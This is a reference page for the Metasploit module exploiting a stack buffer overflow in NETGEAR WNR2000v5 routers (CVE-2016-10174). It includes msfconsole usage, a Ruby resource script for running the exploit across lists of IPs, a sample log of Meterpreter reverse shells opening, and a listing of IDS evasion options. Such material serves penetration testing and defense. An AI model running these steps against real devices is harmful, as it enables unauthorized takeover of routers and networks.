NETGEAR WNR2000v5 (Un)authenticated hidden_lang_avi Stack Buffer Overflow - Metasploit
This page contains detailed information about how to use the exploit/linux/http/netgear_wnr2000_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: NETGEAR WNR2000v5 (Un)authenticated hidden_lang_avi Stack Buffer Overflow
Module: exploit/linux/http/netgear_wnr2000_rce
Source code: modules/exploits/linux/http/netgear_wnr2000_rce.rb
Disclosure date: 2016-12-20
Last modification time: 2021-02-13 04:10:13 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2016-10174
The NETGEAR WNR2000 router has a stack buffer overflow vulnerability in the hidden_lang_avi parameter. In order to exploit it, it is necessary to guess the value of a certain timestamp which is in the configuration of the router. An authenticated attacker can simply fetch this from a page, but an unauthenticated attacker has to brute force it. Brute forcing the timestamp token might take a few minutes, a few hours, or days, but it is guaranteed that it can be bruteforced. This module implements both modes, and it works very reliably. It has been tested with the WNR2000v5, firmware versions 1.0.0.34 and 1.0.0.18. It should also work with hardware revisions v4 and v3, but this has not been tested - with these routers it might be necessary to adjust the LibcBase variable as well as the gadget addresses.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using netgear_wnr2000_rce against a single host
Normally, you can use exploit/linux/http/netgear_wnr2000_rce this way:
msf > use exploit/linux/http/netgear_wnr2000_rce
msf exploit(netgear_wnr2000_rce) > show targets
... a list of targets ...
msf exploit(netgear_wnr2000_rce) > set TARGET target-id
msf exploit(netgear_wnr2000_rce) > show options
... show and set options ...
msf exploit(netgear_wnr2000_rce) > exploit
Using netgear_wnr2000_rce against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your netgear_wnr2000_rce will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/linux/http/netgear_wnr2000_rce")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
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Msfconsole Usage
Here is how the linux/http/netgear_wnr2000_rce exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/netgear_wnr2000_rce
[*] Using configured payload cmd/unix/interact
msf6 exploit(linux/http/netgear_wnr2000_rce) > show info
Name: NETGEAR WNR2000v5 (Un)authenticated hidden_lang_avi Stack Buffer Overflow
Module: exploit/linux/http/netgear_wnr2000_rce
Platform: Unix
Arch: cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2016-12-20
Provided by:
Pedro Ribeiro <[email protected]>
Available targets:
Id Name
-- ----
0 NETGEAR WNR2000v5
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
HttpPassword password yes Password for the web interface (not needed but exploitation is faster)
HttpUsername admin yes Username for the web interface (not needed but exploitation is faster)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload information:
Avoid: 3 characters
Description:
The NETGEAR WNR2000 router has a stack buffer overflow vulnerability
in the hidden_lang_avi parameter. In order to exploit it, it is
necessary to guess the value of a certain timestamp which is in the
configuration of the router. An authenticated attacker can simply
fetch this from a page, but an unauthenticated attacker has to brute
force it. Brute forcing the timestamp token might take a few
minutes, a few hours, or days, but it is guaranteed that it can be
bruteforced. This module implements both modes, and it works very
reliably. It has been tested with the WNR2000v5, firmware versions
1.0.0.34 and 1.0.0.18. It should also work with hardware revisions
v4 and v3, but this has not been tested - with these routers it
might be necessary to adjust the LibcBase variable as well as the
gadget addresses.
References:
https://nvd.nist.gov/vuln/detail/CVE-2016-10174
https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear-wnr2000.txt
https://seclists.org/fulldisclosure/2016/Dec/72
http://kb.netgear.com/000036549/Insecure-Remote-Access-and-Command-Execution-Security-Vulnerability
Module Options
This is a complete list of options available in the linux/http/netgear_wnr2000_rce exploit:
msf6 exploit(linux/http/netgear_wnr2000_rce) > show options
Module options (exploit/linux/http/netgear_wnr2000_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
HttpPassword password yes Password for the web interface (not needed but exploitation is faster)
HttpUsername admin yes Username for the web interface (not needed but exploitation is faster)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (cmd/unix/interact):
Name Current Setting Required Description
---- --------------- -------- -----------
Exploit target:
Id Name
-- ----
0 NETGEAR WNR2000v5
Advanced Options
Here is a complete list of advanced options supported by the linux/http/netgear_wnr2000_rce exploit:
msf6 exploit(linux/http/netgear_wnr2000_rce) > show advanced
Module advanced options (exploit/linux/http/netgear_wnr2000_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
TIME_OFFSET 5000 yes Maximum time differential to try
TIME_SURPLUS 200 yes Increase this if you are sure the device is vulnerable and you are not getting a shell
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/interact):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/netgear_wnr2000_rce module can exploit:
msf6 exploit(linux/http/netgear_wnr2000_rce) > show targets
Exploit targets:
Id Name
-- ----
0 NETGEAR WNR2000v5
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/netgear_wnr2000_rce exploit:
msf6 exploit(linux/http/netgear_wnr2000_rce) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/interact normal No Unix Command, Interact with Established Connection
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/netgear_wnr2000_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/netgear_wnr2000_rce) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<PEER> - Well that didn't work... let's do it the hard way.
Here is a relevant code snippet related to the "<PEER> - Well that didn't work... let's do it the hard way." error message:
207: end
208: rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
209: sock.close if sock
210: end
211:
212: print_error("#{peer} - Well that didn't work... let's do it the hard way.")
213:
214: # no shell? let's just go on and bruteforce the timestamp
215: # 3: get the current date from the router and parse it
216: end_time = get_current_time
217: if end_time.nil?
<PEER> - Unable to obtain current time
Here is a relevant code snippet related to the "<PEER> - Unable to obtain current time" error message:
213:
214: # no shell? let's just go on and bruteforce the timestamp
215: # 3: get the current date from the router and parse it
216: end_time = get_current_time
217: if end_time.nil?
218: fail_with(Failure::Unknown, "#{peer} - Unable to obtain current time")
219: end
220: if end_time <= datastore['TIME_OFFSET']
221: start_time = 0
222: else
223: start_time = end_time - datastore['TIME_OFFSET']
<PEER> - Exploit failed
Here is a relevant code snippet related to the "<PEER> - Exploit failed" error message:
255: end
256: end_time = start_time
257: start_time -= datastore['TIME_OFFSET']
258: if start_time < 0
259: if end_time <= datastore['TIME_OFFSET']
260: fail_with(Failure::Unknown, "#{peer} - Exploit failed")
261: end
262: start_time = 0
263: end
264: print_status("#{peer} - Going for another round, finishing at #{start_time} and starting at #{end_time}")
265:
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Related Pull Requests
- #14751 Merged Pull Request: msftidy: Fix exploit module checks for author and stack buffer overflow
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #10649 Merged Pull Request: Fix http://seclists.org links to https://
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8371 Merged Pull Request: Fix msftidy warnings for the WNR2000 module
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #7778 Merged Pull Request: Add exploits for NETGEAR WNR2000v5 router
References
- CVE-2016-10174
- https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear-wnr2000.txt
- https://seclists.org/fulldisclosure/2016/Dec/72
- http://kb.netgear.com/000036549/Insecure-Remote-Access-and-Command-Execution-Security-Vulnerability
See Also
Check also the following modules related to this module:
- exploit/linux/http/netgear_dgn1000b_setup_exec
- exploit/linux/http/netgear_dgn1000_setup_unauth_exec
- exploit/linux/http/netgear_dgn2200b_pppoe_exec
- exploit/linux/http/netgear_dnslookup_cmd_exec
- exploit/linux/http/netgear_r7000_cgibin_exec
- exploit/linux/http/netgear_readynas_exec
- exploit/linux/http/netgear_unauth_exec
- exploit/linux/telnet/netgear_telnetenable
- auxiliary/admin/http/netgear_auth_download
- auxiliary/admin/http/netgear_pnpx_getsharefolderlist_auth_bypass
- auxiliary/admin/http/netgear_r6700_pass_reset
- auxiliary/admin/http/netgear_r7000_backup_cgi_heap_overflow_rce
- auxiliary/admin/http/netgear_soap_password_extractor
- auxiliary/admin/http/netgear_wnr2000_pass_recovery
- auxiliary/gather/netgear_password_disclosure
- auxiliary/scanner/http/netgear_sph200d_traversal
- exploit/windows/http/netgear_nms_rce
Authors
- Pedro Ribeiro <[email protected]>
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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